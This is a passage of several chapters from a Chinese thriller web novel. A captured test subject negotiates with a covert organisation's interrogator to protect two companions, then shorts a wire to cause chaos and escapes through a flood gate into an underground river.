我被两个人架着往前走,脚下是坑洼不平的地面。走了几分钟,进入了一个室内空间,回声变得空旷。
我被按坐在一张冰冷的椅子上。眼罩被猛地扯下。
刺眼的灯光让我眯起了眼睛。适应光线后,我发现自己身处一个类似废弃仓库或者车库的地方,到处堆放着杂物和锈蚀的机器零件。
面前站着三个男人,都穿着便于行动的深色作战服,但并非制式军装,气质冷硬,眼神锐利,正是“勋”的风格。
为首的是一个面容冷峻、眼角有一道浅疤的中年男人,他打量着我,如同在评估一件物品。
“韩冰。”他开口,声音低沉沙哑,带着一种不容置疑的权威,“或者,我们更习惯称呼你的另一个代号——‘寒霜’候选体,7号。”
他果然知道。
“很遗憾以这种方式见面。”疤脸男人走近一步,居高临下地看着我,“你让我们损失了不少人手,包括几个追踪守林人多年的好手。”
我冷冷地看着他,没有反应。
他似乎并不期待我的回应,继续说道:“你在‘白房子’的表演很精彩。格式化‘印记’,触发‘源井’波动……你比我们预估的要有趣得多,也危险得多。”
他俯下身,目光锐利:“告诉我们,‘零号协议’启动时,你感觉到了什么?‘
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源井’的能量,是否与你体内残留的‘寒霜’印记产生了共鸣?”
我心中一动。他们果然对“源井”极其关注。守林人提到过,那是比“白房子”更深层的秘密。
我继续保持沉默。
疤脸男人直起身,对旁边一个人示意了一下。那人拿出一个平板电脑,操作了几下,然后屏幕转向我。
屏幕上显示的,竟然是灰岩镇的模糊卫星地图,其中一个点被高亮标记出来——那是一家看起来破旧不堪的杂货店,门牌依稀可辨“老猫杂货”。
他们怎么会知道?!
“你的同伴,很聪明,也很幸运,暂时甩掉了阿杰的废物手下。”疤脸男人的声音如同毒蛇般冰冷,“她们正在前往这个坐标。你说,如果我们在她们找到庇护所之前,先到一步,会怎么样?”
他是在用周玲和李医生的安危威胁我!
怒火瞬间冲上头顶,但我强行压了下去。不能被他激怒,不能失去冷静。
疤脸男人仔细观察着我的表情,似乎想从中找到一丝裂痕。“我们对你没有阿杰那么‘苛刻’的研究兴趣。我们只需要信息,关于‘源井’和‘寒霜’印记相互作用的信息。配合我们,你的同伴可以安全离开。否则……”
他没有说下去,但威胁的意味不言而喻。
我闭上眼睛,大脑飞速运转。他们想知道“源井”和“寒霜”的关联,这说明两者之间存在某种重要的联系,甚至可能是“勋”组织也未能完全掌握的关键。这或许……是一个机会?
我重新睁开眼睛,看向疤脸男人,被胶带封住的嘴发出模糊的“呜呜”声。
疤脸男人皱了皱眉,示意手下撕掉我嘴上的胶带。
胶带被粗暴地撕下,带来一阵刺痛。
我深吸一口气,然后缓缓开口,声音因干渴和虚弱而沙哑:
“我可以告诉你们我感觉到的东西……”
疤脸男人眼中闪过一丝得逞的光芒。
“……但前提是,我必须亲眼确认她们安全抵达灰岩镇,并且,我要知道‘源井’到底是什么。”
我盯着他,一字一句地说:
“否则,你们得到的,只会是一具毫无价值的尸体,和永远无法触及的真相。”
谈判,开始了。在这间充满铁锈味的废弃仓库里,我用自己仅剩的筹码,赌一个渺茫的生机,也为不知身在何方的周玲和李医生,争取一线可能。
第五十七章 筹码与博弈
仓库里浑浊的空气仿佛凝固了。疤脸男人,后来我知道他代号“屠夫”,眯起眼睛打量着我,那双眼睛里没有丝毫温度,只有权衡利弊的冰冷计算。
“确认她们安全?”他嗤笑一声,带着嘲讽,“你以为你有讨价还价的资格?”
我迎着他的目光,尽管身体虚弱,伤口剧痛,但眼神没有丝毫退缩。“我的命,你们随时可以拿走。但‘源井’的秘密,还有‘寒霜’与它共鸣的数据,只有活着的我才能提供。杀了我,你们什么都得不到,还会惊动阿杰背后更麻烦的人。而放她们走,对你们来说,只是放掉两个无关紧要的小角色,却能换来可能颠覆局势的关键情报。这笔交易,谁更划算?”
我赌他们对“源井”的渴望,超过了灭口的程序化需求。
屠夫沉默了,他身后的两名手下也面无表情,但眼神微微交流了一下。
“你怎么确认她们安全?”屠夫终于再次开口。
“给我看实时监控,或者……让她们在指定地点留下安全的信号。”我提出要求,“灰岩镇有你们的眼线吧?确认她们抵达并联系上‘老猫’,对我来说就足够了。”
屠夫盯着我,足足看了十几秒,仿佛要将我看穿。然后,他猛地转身,对一名手下吩咐道:“联系‘灰岩镇’的‘钉子’,盯紧那家杂货店。有消息立刻回报。”
“是。”手下回应道,走到一旁开始操作通讯设备。
屠夫转回头,拉过一张锈迹斑斑的铁椅,在我对面坐下,手肘撑在膝盖上,身体前倾,带来一股压迫感。“现在,我们可以先谈谈‘感觉’了。在‘零号协议’启动,整个基地断电,那股嗡鸣响起的时候,你感觉到了什么?详细点。”
我知道不能一下子全盘托出,必须一点点抛出信息,维持自己的价值,也争取时间。
“冷。”我缓缓开口,回忆着当时的感受,“一种……从骨头缝里渗出来的冰冷,不是温度上的,更像是……灵魂被冻结。然后是一种被抽空的感觉,好像有什么东西被强行从身体里剥离出去,那应该就是‘印记’被格式化。”
我注意着屠夫的表情,他听得很仔细。
“同时,我能‘听到’一种低频的震动,不是通过耳朵,是直接作用在……这里。”我指了指自己的太阳穴,“它让我头痛欲裂,但也让我……‘看’到了一些模糊的画面。”
“什么画面?”屠夫立刻追问。
“光……很多混乱的光线,像是数据流,又像是……星图?还有一些……扭曲的人影,很痛苦的样子。”我半真半假地描述着,将一些记忆碎片和臆测混合在一起。
屠夫的眉头紧锁起来,似乎在判断我话语的真实性。“星图?人影?还有吗?”
“还有一种……拉扯感。”我继续编造,“好像我的意识差点被那个‘源井’吸进去。格式化‘印记’的过程,似乎意外打开了一条……通道?虽然很短暂。”
“通道?!”屠夫的声音陡然拔高,眼中闪过一丝难以置信和……狂热?“你确定是通道?连接哪里的通道?”
我摇了摇头,露出疲惫和困惑的神情:“不知道,只是一瞬间的感觉,很快就消失了。然后就是彻底的虚弱和系统瘫痪。”
屠夫猛地站起身,在仓库里踱了两步,显得有些激动。“通道……难道传说是真的?K那个老东西,他居然真的……”他喃喃自语,随即又猛地看向我,“除了冷、抽空、噪音、画面和拉扯感,还有没有别的?任何细节!比如,你是否感觉到某种……呼唤?或者接收到任何……信息片断?”
“信息……好像有,又好像没有。”我故作艰难地回忆,“像是一些破碎的音节,无法理解,但……带着一种古老的韵律。”
就在这时,那个操作通讯设备的手下走了过来。
“头儿,‘钉子’回报,目标已确认。两名女性,符合描述,约二十分钟前抵达‘老猫杂货店’,并已与店主接触。目
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前店内情况平静,未发现异常。”
周玲和李医生安全了!她们找到了灰岩镇,找到了老猫!
屠夫听完汇报,看向我:“你的要求,我们做到了。现在,该你履行承诺了。告诉我们,‘源井’到底是什么?把你知道的,还有K可能留下的所有相关信息,都说出来。”
我靠在冰冷的椅背上,感受着伤处传来的阵痛,缓缓摇了摇头。
“我说了,我只是感觉到一些东西。‘源井’具体是什么,K没有告诉我,守林人也没说清楚。它可能是一个能量源,一个信息库,或者……别的什么。这需要你们自己去查证。”
屠夫的眼神瞬间变得危险起来:“你在耍我?”
“我只是在陈述事实。”我平静地回答,“我知道的有限。但我的价值在于,我是目前已知唯一一个在‘零号协议’下与‘源井’产生过直接共鸣的‘载体’。我的身体,我的感知,就是你们需要的研究样本。杀了我,你们就失去了最接近‘源井’真相的钥匙。”
我顿了顿,补充道:“而且,阿杰和他背后的人,恐怕不会甘心失去我這個‘样本’和‘零号协议’的数据。留着我,或许还能用来和他们……做笔交易?”
我在暗示他们,我的价值不止于研究,还可能成为与“创世纪”博弈的筹码。
屠夫死死地盯着我,仓库内的气氛再次降至冰点。
时间一分一秒过去。
最终,他冷哼一声,对两名手下挥了挥手:“带上车,转移。给他处理一下伤口,别让他**。”
两名手下上前,将我重新架起。
但我也很清楚,自己落入“勋”的手中,不过是换了一个更加专业、也更加危险的囚笼。关于“源井”和“寒霜”的谜团,以及我自身的命运,都将在新的地点,继续上演。
我被押解着,离开了这间充满铁锈味的仓库,驶向未知的下一站。而灰岩镇的方向,成了黑暗中唯一一丝微弱的牵挂……
第五十八章 囚徒与新棋局
车辆在颠簸中行驶了许久,窗外的天色从灰暗彻底沉入墨黑。
最终,车辆停下。我被粗暴地带下车,脚下的地面是坚硬的混凝土,有积水。
眼罩被取下。
这里像是一个废弃的工厂车间改造的临时据点,空间巨大,屋顶很高,布满了锈蚀的管道和行车轨道。
我的目光快速扫过,注意到角落里堆放着一些印有模糊船舶公司标志的板条箱。我们在一个码头或者河边仓库区?
“带他去医疗点。”屠夫对一名手下吩咐道,然后冷冷地看了我一眼,“别耍花样,这里每一寸都在监控下。”
我被带到车间角落一个用隔板围出的简易医疗点。一个面无表情、穿着便装但动作麻利的中年男人开始处理我的伤口。
处理过程中,我能感觉到暗处有摄像头对着我。他们在观察,记录我的一切生理反应。
结束后,我被带到一个类似牢房的隔间,只有一张铁床和一个马桶,没有窗户,门是厚重的金属门,上方有一个小小的观察窗。
条件比“白房子”更简陋,但看守显然更专业。
门被锁上。我躺在冰冷的铁床上,强迫自己休息,积蓄体力。伤口处理后的疼痛依旧清晰,但不再流血。骨折的左腿动弹不得。
我知道,暂时的安全只是假象。“勋”不是慈善机构,他们留着我,仅仅是因为我还有价值。
必须想办法脱身,或者……找到新的筹码。
不知过了多久,门被打开。屠夫走了进来,手里拿着一个平板电脑。
“感觉怎么样,7号?”他的语气听不出关心,只有例行公事。
我没回答。
他也不在意,点开平板:“我们核对了一些信息。你提供的关于‘源井’共鸣的感受,与组织内部某些绝密档案的零星记载,有部分吻合。”
他抬起眼皮,目光锐利:“这增加了你话语的可信度。但现在,我们需要更具体的东西。K研究员,除了‘零号协议’,他还留下了什么?守林人,那个老不死的,还跟你说了什么关于‘源井’或者‘伊甸园’的事情?”
他开始深入追问了。
“K只留下了协议和警告。守林人……”我斟酌着用词,“他提到了‘源井’是比‘白房子’更深层的秘密,说我的共鸣可能惊动了它,还说他等了太久的机会。”
我不能透露“钥匙”和“容器”的猜测,那会让我失去最重要的底牌。
“机会?”屠夫冷哼一声,“一个苟延残喘的失败品,能有什么机会?”但他眼神深处,似乎闪过一丝疑虑。他显然对守林人颇为忌惮。
“关于‘勋’……或者说你们‘园丁’,”我反过来提问,试图掌握一点主动权,“你们和‘创世纪’到底是什么关系?竞争对手?还是……”
屠夫的眼神骤然变冷:“这不是你该问的。”
“如果我们要‘合作’,我至少需要知道,我是在与谁合作,合作的敌人又是谁。”我坚持道。
屠夫盯着我,半晌,才冷冷道:“我们源自同一棵腐烂之树,但选择了不同的分支。他们沉迷于扮演上帝,创造‘完美’的新人类,而我们……更注重实际,负责‘修剪’和‘清理’,确保某些秘密永不见光,也确保……我们这一支,能最终掌控那棵树真正的根基。”
“所以,阿杰他们搞‘涅槃’,是想创造‘完美新人类’?而你们,更想控制那个所谓的‘根基’?”我顺着他的话试探。
屠夫没有直接承认,但也没有否认,只是说道:“阿杰和他背后的学术派,太过理想化,也太过危险。他们的实验,已经多次触及不该触碰的边界。‘零号协议’造成的‘源井’波动,就是最新的证明。”
他身体前倾,声音压低:“韩冰,你是个意外,一个变量。你不属于任何一方,你只是他们实验的受害者。但你现在拥有了独一无二的‘体验’。加入我们,帮助我们真正理解并控制‘源井’,你不仅可以活下去,还能获得力量
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,向那些把你当成小白鼠的人复仇。”
他在试图招揽我?还是另一种形式的控制?
“我需要考虑。”我没有立刻拒绝,也没有答应。拖延,是目前唯一的策略。
屠夫似乎预料到这个回答,他站起身:“你可以考虑,但时间不多了。阿杰的人像疯狗一样在到处找你,组织内部对如何处理你也有分歧。我的耐心有限。”
他走到门口,停顿了一下,回头说道:“顺便告诉你,你的那两个同伴,在灰岩镇并不安分。那个叫周玲的女孩,似乎在偷偷打听离开这里的黑船。而李医生,联系了一些过去的旧关系……她们的小动作,很可能把阿杰的人,甚至其他麻烦引过去。”
“你们答应过保证她们的安全!”我沉声道。
“我们答应的是确认她们抵达时的安全,并暂时不主动出手。”屠夫扯出一个冷酷的笑容,“但如果她们自己找死,或者被阿杰找到,那就不是我们的责任了。所以,韩冰,你的决定,最好快一点。她们的命运,某种程度上,也握在你的手里。”
他留下这句充满威胁的话,转身离开,金属门再次沉重地关上。
牢房里恢复了死寂。
我躺回床上,心脏沉重。屠夫的话半真半假,但周玲和李医生处境危险大概率是真的。灰岩镇鱼龙混杂,阿杰的触角也可能伸到那里。
我的目光再次仔细扫过这个狭小的牢房。墙壁、屋顶、地板、马桶……通风口!在靠近屋顶的角落,有一个小小的、带着扇叶的通风口,规格很小,人肯定钻不出去,但是……
一个冒险的计划雏形,在我脑海中逐渐形成。
而屠夫提到的“组织内部对如何处理你也有分歧”,或许……可以成为利用的突破口?
我闭上眼睛,开始仔细回忆被押送进来时看到的据点布局、人员分布、以及那些电子设备可能的功能。
新的棋局已经开始,我依旧是棋子,但这一次,我要试着撬动棋盘。
第六十章 塑料钥匙
这微不足道的东西,此刻却是我全部的希望。我维持着靠在墙上的姿势,呼吸平稳,仿佛因伤痛和疲惫而陷入半睡,但眼睛的余光始终锁定着屋顶角落那个旋转的通风口,以及侧上方那个几乎与黑暗融为一体的摄像头红点。
不知过了多久,可能几小时,外面突然传来一阵略显急促的警报声,很短促,随即停止。紧接着是纷乱的脚步声和提高了音量的指令,似乎某个区域发生了短暂的电力波动或者设备故障。
就是现在!
在警报响起的瞬间,我猛地从床上坐起。
我死死盯着门口,耳朵竖起来,捕捉着外面的每一点声响。
外面的骚动持续了大概一两分钟,逐渐平息。脚步声远去。
我维持着面向门口的姿势,又等了十几秒,才仿佛松了口气般,缓缓向后靠回墙壁。
在这个过程中,我握着塑料条的手,极其缓慢、极其轻微地移动到身侧,利用身体和手臂的阴影,开始用指甲反复刮擦塑料条的一端。
刮,磨。没有水,没有磨石,只有血肉和意志。
这是个笨办法,耗时长,风险高。但我没有选择。
每一次走廊外传来脚步声,我都立刻停止动作,恢复成疲惫虚弱的模样,直到脚步声远去,才继续那无声的打磨。
不知重复了多少次停止与继续,掌心的塑料条一端,终于被磨出了一个勉强能称之为“尖”的斜面。
接下来,是最关键的一步——拆卸。
我再次计算着角度。通风口在靠近屋顶的角落,我必须站起来才能够到。
需要掩护。更大的掩护。
我开始剧烈地咳嗽起来,身体蜷缩,表现得极为痛苦。咳嗽声在狭小的牢房里回荡。我一边咳,一边用手捶打着胸口,动作夸张。
同时,另一只握着“塑料钥匙”的手,借着咳嗽时身体的颤抖和手臂的挥舞作为掩护,悄悄向上探去。
目标,通风口右下角的第一颗螺丝。
眼睛的余光死死盯着摄像头的位置,身体则用咳嗽和痛苦挣扎。
塑料尖头小心翼翼地探入十字槽口。太软了,感觉使不上力。我屏住呼吸,用尽指尖那点微弱的力量,尝试顺时针旋转。
滑脱了。
塑料尖在螺丝槽口打滑,只留下一点浅浅的划痕。
冷汗瞬间浸湿了后背。
我再次尝试。这次动了!
极其细微的,几乎难以察觉的一丝松动!
心中狂喜,但不敢有丝毫表露。
一颗螺丝,花了将近十分钟,才勉强旋松到可以用手指拧动的程度。我不敢完全拧下,只是让它松动。
还有三颗。
重复着痛苦表演和精细操作。肺部因刻意剧烈的咳嗽而火烧火燎,指尖早已磨破渗血,与塑料碎屑混在一起。左腿支撑着全身重量,剧痛几乎让我晕厥。
第二颗……第三颗……
当第四颗螺丝也开始松动时,我几乎虚脱。
就在我准备一鼓作气卸下格栅时,门外再次传来了清晰的脚步声,而且是直接朝着我的牢房走来!
我心中一惊,立刻停止所有动作,迅速将塑料条塞回原处,身体瘫软在床,闭上眼睛,发出沉重而痛苦的呼吸声,仿佛在剧痛和疲惫中昏睡过去。
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>门开了。
我眯起一条眼缝,看到进来的是蝰蛇。他手里没拿托盘,只是皱着眉头看了看我。
“刚才警报响,没事吧?”他问了一句,似乎只是例行公事。
我发出含糊的**,没有睁眼。
蝰蛇站了几秒,没发现什么异常,嘟囔了一句“真麻烦”,便又退了出去,重新锁上门。
听着脚步声远去,我才缓缓睁开眼,冷汗已经湿透了衣衫。
太险了。
不能再等了。必须尽快完成。
一个黑黢黢的洞口出现在面前。里面是黑暗,是密集的线缆和更粗的管道,带着浓重的灰尘味和金属的冰冷。
钻不出去。
但我本就没打算钻出去。
我探手进去,指尖在冰冷的管壁和线缆上摸索。
我的手指触碰到一束包裹在塑料皮里的线缆,其中几根似乎连接着不远处的某个设备,隐隐传来微弱的电流感。是通讯线?还是监控系统的备用线路?
一个更大胆,或许也更疯狂的计划,在我脑海中逐渐成型。
我需要的,不仅仅是逃出这个牢房,而是搅乱整个据点,制造一个足够大的混乱,大到我能趁乱找到离开这里的方法,甚至……找到关于“源井”和“勋”的更多信息。
我将格栅暂时虚掩回原处,只留下一条不易察觉的缝隙。然后,我躺回床上,将那几颗螺丝和磨剩的塑料头小心藏好。
我闭上眼睛,感受着通风口后那黑暗空间中传来的、微弱却真实存在的电流脉动,如同倾听着一头沉睡巨兽的心跳。
机会,需要等待,更需要……创造。
第六十一章 电流低语
我需要知道更多。需要“听”得更清楚。
我再次挪到墙边,背对着摄像头,将耳朵贴近那条通风口的缝隙。闭上眼睛,屏蔽掉肋骨的钝痛和腿骨的锐痛,将全部注意力集中在听觉上。
起初,只有通风系统本身低沉的、规律性的嗡鸣。但在这背景噪音之下,我努力分辨着。
不知过了多久,外面走廊传来了脚步声,伴随着两个男人的交谈,声音比之前清晰一些,正经过我的牢房门口。
“……屠夫老大还在和上面沟通,对7号的处理方案争议很大。”
“要我说,直接提取生物样本和脑波数据,然后处理掉最省事。留着就是个麻烦,阿杰那边像闻到腥味的鲨鱼。”
“你懂什么?‘源井’共鸣是几十年来的首次确认案例!上面那些老家伙快疯了,指望靠他找到‘圣所’入口呢!”
“狗屁‘圣所’,虚无缥缈的传说!为了这个,值得跟‘创世纪’彻底撕破脸?”
“谁知道呢……反正我们听令行事。看好他,别出岔子就行。”
脚步声和交谈声逐渐远去。
信息!宝贵的信息!
处理我的争议。“源井”共鸣的价值。“圣所”入口?!又一个全新的、听起来比“源井”更核心的概念!他们内部并非铁板一块,存在激进和保守的分歧。而我的价值,在于可能是找到“圣所”的钥匙!
希望的火苗并未让我感到温暖,反而如同冰焰,燃烧着更深的寒意。
必须加快速度。
我收回贴在缝隙上的耳朵,再次躺下,大脑飞速整合着信息。那束线缆……如果能利用它制造一场不大不小,刚好能引起混乱,但又不会立刻招致毁灭性打击的“事故”呢?
这需要精准的控制。塑料条已经耗尽,我需要新的工具,或者……利用身体本身。
我的目光落在自己磨破的指尖上。
如果我能将那线缆的微弱电流引导出来,通过我的身体,造成一个局部的短路火花?风险极大,可能触电,可能引发火灾警报招致更严密的搜查,但也可能制造出我需要的那几分钟混乱窗口。
这无异于玩火,不,是玩电。
但除此之外,我还能有什么办法?
就在我下定决心,准备在下次外面有足够掩护的动静时实施这个危险计划时,牢房的门,又一次被打开了。
这次进来的,只有屠夫一个人。他的脸色比之前更加阴沉,眼神里压抑着风暴。
他反手关上门,没有靠近,只是站在门口,冷冷地看着我。
“韩冰,”他的声音像是淬了冰,“我们收到灰岩镇的最新消息。你的那两个同伴,很不老实。”
“她们试图联系外界,动用了一些……不该动用的关系。”屠夫一步步走近,靴子踩在混凝土地面上发出沉闷的声响,带来巨大的压迫感,“这很愚蠢,把她们自己,也把你,推到了更危险的境地。”
他在我床前站定,居高临下。
“阿杰的人,已经锁定了她们大概的位置。而我这边,主张‘清理’的声音,也越来越大。”他俯下身,几乎与我脸贴脸,“我给你最后一次机会。放弃那些无谓的抵抗和小心思,把你所有关于‘源井’共鸣的感受、细节,还有K和守林第六十一章电流低语可能告诉你的任何关于‘圣所’的线索,全部、毫无
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保留地说出来。配合我们,你还有价值,她们……或许也能多活几天。”
“否则,”他直起身,语气恢复了绝对的冰冷,“我不介意先收到她们死亡的消息,再亲自从你这具还有温度的尸体上,提取最后一点可能存在的‘样本’。”
他不再废话,转身走向门口。
在拉开门的那一刻,他停顿了一下,头也不回地补充了一句,声音不高,却像重锤砸在我心上:
“忘了告诉你,李医生试图联系的那个旧关系……是我们早就标记的,‘创世纪’潜伏在外围的暗线。她这是在自投罗网。”
门,在我面前重重关上。
牢房里,只剩下我粗重的呼吸声,和脑海里如同惊涛骇浪般翻涌的危机感。
周玲和李医生的处境,比我想象的还要糟糕!她们不仅被阿杰和“勋”同时盯上,李医生联系的人竟然还是“创世纪”的暗线!这简直是往火坑里跳!
屠夫的最后通牒,像绞索一样套上了我的脖子。
没有时间再慢慢策划了。那个危险的玩电计划,必须立刻执行!
我深吸一口气,压下所有的恐惧和犹豫,目光再次投向那个虚掩的通风口。
混乱,我需要一场足够大的混乱,不仅要让我自己有机会脱身,还必须能暂时吸引开“勋”和阿杰的部分注意力,给周玲和李医生创造一丝喘息之机,哪怕只是极其微弱的一丝。
我挪到床边,调整呼吸,将状态调整到最好,然后,等待着下一个足以掩盖我动作的、来自外界的声响。
这一次,不再是为了简单的逃脱。
而是为了,在死局中,砸出一线生机。
第六十二章 死局生机
屠夫留下的最后通牒像冰水浇头,瞬间冻结了血液,却又在下一秒点燃了肺腑。周玲和李医生危在旦夕,李医生甚至可能正走向“创世纪”布下的陷阱。
外面走廊安静得可怕,只有远处隐约的设备嗡鸣。我在等待一个噪音,一个能掩盖我动作的声响。
几分钟后,机会来了。似乎是隔壁某个房间传来了金属工具掉落在水泥地上的刺耳撞击声,伴随着一声低沉的咒骂。
“滋啦——”
一声轻微的、几乎难以听闻的电火花爆裂声从指间传来!一股更强的、如同被无数细针攒刺的麻痛感瞬间从指尖窜向手臂!
几乎同时,我头顶那盏昏暗的白炽灯猛地闪烁了几下,发出不稳定的“嘶嘶”声,光线明灭不定!而我身侧墙壁上那个一直亮着红点的摄像头,红灯骤然熄灭!
成功了!局部短路!
心脏在胸腔里疯狂跳动,几乎要撞碎肋骨。
外面立刻传来了反应!
“怎么回事?B区监控信号丢失!”
“电力波动!检查线路!”
“警报!7号牢房区域异常!”
纷乱的脚步声和呼喊声由远及近,迅速朝着我的牢房**。
来了!混乱开始了!
我紧闭双眼,调整呼吸,伪装成虚弱昏迷的状态,但耳朵如同最敏锐的雷达,捕捉着门外的一切动静。
门被猛地打开,至少三四个人冲了进来。手电筒的光柱在我脸上、身上扫过。
“他怎么回事?”
“像是昏过去了!”
“检查生命体征!”
“先恢复监控和照明!快!”
有人靠近我,手指探向我的颈动脉。我维持着肌肉的松弛,呼吸微弱。
“脉搏很快,很虚弱!可能伤势恶化!”
“妈的!不能让他**!医疗兵!叫医疗兵!”
我等待的就是这个多方注意力被吸引的瞬间!
就在医疗兵匆忙跑进来,蹲下身准备检查我的时候,我猛地睁开了眼睛!
距离太近了!医疗兵显然没料到我会突然“苏醒”,动作瞬间一僵!
我积蓄已久的力量在这一刻爆发!完好右腿猛地蹬地,身体如同压缩到极致的弹簧般弹起,额头用尽全力狠狠撞向近在咫尺的医疗兵的面门!
“砰!”
一声闷响,伴随着鼻骨碎裂的声音!医疗兵连哼都没哼一声,直接向后仰倒,昏死过去!
“他醒了!”
“制服他!”
旁边的守卫反应极快,立刻扑了上来!但狭窄的牢房限制了他们的动作,也限制了他们使用**的可能。
我利用这短暂创造的空间,单手撑床,另一只手抓起医疗兵掉落在地上的手电筒,狠狠砸向最近一名守卫**的手腕!
“咔嚓!”守卫惨叫一声,武器脱手。
另一名守卫的警棍已经带着风声挥到!我侧头险险避开,警棍擦着耳朵砸在铁床上,发出巨大的嗡鸣!我顺势抓住他挥棍的手臂,身体借力扭转,用肩膀狠狠撞向他的胸口!
“呃!”他闷哼着后退,撞倒了身后另一人。
混乱!极致的混乱!
我如同困兽,在狭小的空间里利用一切能利用的东西进行搏斗。
又一名守卫被我用手电筒砸中太阳穴,软软倒下。
但更多的人涌了进来。狭窄的门口被堵住。
我知道,纯粹的肉搏,我撑不了多久。体力在飞速流逝,失血让我视线开始模糊。
必须冲出去!趁现在监控失灵,外面也一片混乱!
我抓起地上掉落
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的一把警棍,将它当作拐杖,支撑着身体,用尽最后力气,如同受伤的猛虎般朝着门口的人群发起了决死的冲锋!
警棍挥舞,格挡开捅来的电击棍,身体不顾一切地向前撞击!
“拦住他!”
**上膛的声音!他们终于要开枪了!
就在这千钧一发之际——
“砰!!!”
一声远比**射击更沉闷、更巨大的**声,突然从据点的另一个方向传来!整个地面都为之剧烈一震!天花板上的灰尘簌簌落下!
所有人都被这突如其来的巨大**惊呆了,动作出现了瞬间的停滞!
不是**的!是哪里??
不管了!
利用这上天赐予的、意料之外的喘息之机,我爆发出最后的潜能,警棍扫开面前因**而分神的守卫,拖着几乎失去知觉的左腿,猛地冲出了牢房的门!
外面走廊一片混乱,灯光闪烁,烟雾开始从**传来的方向弥漫开来,刺鼻的硝烟味掩盖了消毒水的气息。
我靠在冰冷的墙壁上,大口喘息,汗水、血水模糊了视线。左腿如同灌了铅,每一次移动都带来钻心的疼痛。
我出来了。但只是从一个小的囚笼,进入了一个更大的、并且正在陷入混乱的囚笼。
**是怎么回事?是谁?
我没有时间思考。必须趁着这双重混乱,找到离开的路,找到……可能存在的,关于周玲她们下落的线索!
我辨认了一下方向,朝着与**源相反、记忆中可能是出口或者装备储存区的方向,咬着牙,拖着残躯,一步一步,挪入弥漫的烟雾和混乱的人影之中。
生机,在死局中被强行撕开了一道血淋淋的口子。但前方的路,依旧布满荆棘,通向未知的黑暗。
第六十三章 硝烟歧路
警报声歇斯底里地鸣叫着,与纷乱的脚步声、呼喊声、还有远处隐约的火焰噼啪声交织在一起,构成一幅混乱的地狱绘卷。
我背靠着冰冷潮湿的墙壁,将自己隐藏在两根粗大管道形成的阴影里。左腿骨折处传来的剧痛几乎让我晕厥,
不能倒下。绝对不能。
必须离开。但往哪走?
记忆碎片般浮现:被押送进来时的大致方向,车辆行驶的感觉,空气中河岸淤泥的气息……出口大概率在西北方向。
我强迫自己冷静分析。主干道肯定不能走,那里现在必然是人员调动和封锁的重点。只能走这些偏僻的辅助通道、维修管道,或者……
我的目光落在头顶纵横交错的管道和线缆桥上。或许,上面视野更好,也更隐蔽?
但这个身体状态,攀爬几乎是痴人说梦。
就在这时,一阵急促的脚步声由远及近,伴随着两个男人的对话,正朝着我藏身的这条通道跑来!
“……确认了?是能源备份单元被炸?”
“妈的,绝对是内部人干的!爆破点选得太准了!”
“屠夫老大怀疑是‘创世纪’渗透进来的老鼠!”
“别管那么多了!A出口已经被落石堵了一半,B出口压力太大,头儿让我们去检查C区那个废弃的泄洪道能不能强行打开!”
C区?废弃泄洪道?!
这可能是机会!
我屏住呼吸,将身体更深地缩进阴影。两个全副武装的守卫快步从我藏身的管道前跑过,没有停留,径直冲向通道深处。
等他们的脚步声远去,我立刻忍着剧痛,扶着墙壁,踉跄地跟了上去。左腿几乎是在地上拖行,每挪动一步都如同踩在刀尖上。
通道向下倾斜,越来越潮湿,墙壁上开始出现渗水和苔藓。空气中的硝烟味淡了些,取而代之的是一股浓重的、带着腥味的霉烂气息。前方隐约传来水流的声音。
果然,通道尽头是一扇锈蚀严重、几乎与周围岩壁融为一体的巨大圆形铁门,上面布满了手动控制的阀盘和锁扣。
这里守卫只有两人,而且注意力完全被锈死的闸门吸引。
我环顾四周,看到旁边堆放着几个满是油污的金属桶。一个冒险的计划瞬间成型。
我悄无声息地挪到桶边,用尽力气推倒其中一个。空桶滚落,在寂静的通道里发出“哐啷啷”的巨大回响!
“什么声音?!”两名守卫立刻警觉,停止砸门,端起武器对准声音来源。
就在他们注意力被吸引的瞬间,我从阴影中猛地扑出,不是扑向他们,而是扑向旁边墙壁上一个老旧的、布满蛛网的消防警报玻璃盒!
“啪!”手肘狠狠撞碎玻璃,拉下了里面的手动警报杆!
刺耳的、不同于基地主警报的尖锐铃声瞬间在这条通道内炸响!与此同时,我事先观察到的、安装在通道顶部的几个消防喷头开始疯狂旋转,喷出冰冷的水幕!
“妈的!怎么回事?!”
“着火了吗?!”
冰冷的水劈头盖脸浇下,视线瞬间模糊,通道内一片混乱。两名守卫下意识地躲避水柱,阵脚大乱!
我如同鬼魅般借着水幕的掩护,拖着残腿冲到其中一名守卫身后,用捡来的半截警棍勒住他的脖子,同时另一只手夺过他腰间的**,反手狠狠刺入他大腿外侧!不是致命伤,但足以让他瞬间失去战斗力。
“呃啊!”守卫惨叫着倒地。
另一名守卫反应过来,调转枪口,但在湿滑的地面和混乱的水幕中,动作慢了半拍。我侧身避开可能的射击线路,将夺来的**奋力掷出!
“噗!”**精准地扎进了他**的手臂!
他惨叫一声,武器脱手。
我没有恋战,也无力恋战。
我扑到那扇锈蚀的泄洪闸门前,用尽最后的力气,和那名手臂受伤、
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正试图捡枪的守卫争夺着控制阀盘!
“混蛋!松开!”守卫面目狰狞地用另一只完好的手来抓我。
我低头,狠狠一口咬在他的手腕上!
“啊——!”他吃痛缩手。
趁此机会,我全身重量压在阀盘上,用肩膀顶着,配合手臂,死命旋转!
“嘎吱——嘎——吱——”
令人牙酸的金属摩擦声响起,阀盘极其缓慢地……动了!或许是因为年久失修,或许是因为刚才两名守卫的暴力砸击松动了锈迹,它竟然被我一个人撼动了!
一圈!两圈!
沉重的闸门内部传来机括松动的闷响!
“拦住他!他要打开闸门!”受伤的守卫嘶吼着,不顾一切地扑上来。
但已经晚了!
“轰隆——!!”
一声沉闷的巨响,厚重的圆形闸门猛地向内弹开了一道足以让人侧身通过的缝隙!一股更冰冷、更潮湿、带着浓重淤泥和腐烂水草气味的狂风从门后汹涌而出!
门外,是伸手不见五指的、奔流的水声和无尽的黑暗!
是地下河!这条泄洪道连接着地下河!
冰冷刺骨的地下河水瞬间淹没了我的小腿,强大的水流冲击力几乎将我卷倒!我死死抓住闸门边缘凸起的一根锈蚀钢筋,稳住身形。
回头看了一眼通道内,那名守卫正挣扎着爬起,试图追来,但汹涌灌入的河水和他手臂的伤势阻碍了他。
再见了,地狱。
我松开手,任由冰冷湍急的暗流裹挟着我的身体,瞬间吞噬了我残存的光明和体温,冲向未知的、黑暗的地下河道深处。
身后据点隐约的**声、警报声、叫喊声,迅速被奔流的水声掩盖。
又一次,我从绝境中挣脱。
